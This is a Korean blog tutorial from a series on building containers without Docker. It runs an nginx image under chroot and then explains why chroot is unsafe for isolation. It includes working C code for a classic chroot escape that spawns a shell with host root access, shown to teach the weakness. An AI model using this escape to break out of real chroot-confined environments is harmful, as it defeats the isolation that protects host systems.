0. 개요
이 글은 아래 글과 이어집니다.
https://ksb-dev.tistory.com/374
이제까지 chroot를 사용하면 자원을 격리 시킬 수 있다는 것을 알게 되었습니다.
아래 글에서는 docker image를 chroot로 실행하는 방법과 chroot를 사용하면 안되는 이유에 대해 설명하겠습니다.
1. Nginx Docker Image를 chroot로 실행하기
docker image는 docker run을 통해 컨테이너 실행을 할 수 있습니다.
하지만, image의 압축을 해제하여 chroot로도 실행할 수 있습니다.
우선 nginx image를 nginx-root 폴더에 해제합니다.
mkdir nginx-root;
docker export $(docker create nginx) | tar -C nginx-root -xvf -;
chroot nginx-root /bin/sh;
nginx-root를 chroot로 실행 후 ls 명령어를 사용하면 nginx 내부 파일이 보입니다.
chroot nginx-root /bin/sh
ls
이제 nginx를 내부에서 데몬으로 실행해봅니다.
nginx -g "daemon off;"
host에서 curl 명령어를 통해 nginx가 실행중인지 확인해 봅니다.
curl localhost:80
docker image를 압축 해제하여 chroot로 실행하는 시스템 구성은 아래와 같습니다.
그림에서 redis로 설명하고 있지만, nginx로 생각하시면 됩니다.
2. chroot를 사용하면 안되는 이유
chroot는 자원을 격리시킬 수 있지만, 스크립트 실행을 통해 탈출할 수 있습니다.
tmp 폴더 내부에 escape_chroot.c 파일을 만듭니다.
vi escape_chroot.c
파일 내용은 아래와 같습니다.
#include <sys/stat.h>
#include <unistd.h>
int main(void){
mkdir(".out", 0755);
chroot(".out");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
gcc로 c파일을 컴파일합니다.
gcc -o myroot/escape_chroot escape_chroot.c
tree 명령어를 통해 파일이 정상적으로 생겼는지 확인합니다.
tree -L 1 myroot
chroot 내부에서 escape_chroot를 실행하기 전 후의 ls 차이는 아래와 같습니다.
escape_chroot 파일을 실행하니 host의 root까지 접근할 수 있다는 것을 확인할 수 있었습니다.
이러한 문제는 해킹의 문제로 야기될 수 있으므로 chroot를 사용하면 안됩니다.
'삽질' 카테고리의 다른 글
도커 없이 컨테이너 만들기 - 6 (0) | 2024.08.23 |
---|---|
도커 없이 컨테이너 만들기 - 5 (0) | 2024.08.23 |
도커 없이 컨테이너 만들기 - 3 (0) | 2024.08.19 |
도커 없이 컨테이너 만들기 - 2 (0) | 2024.08.19 |
도커 없이 컨테이너 만들기 - 1 (0) | 2024.08.19 |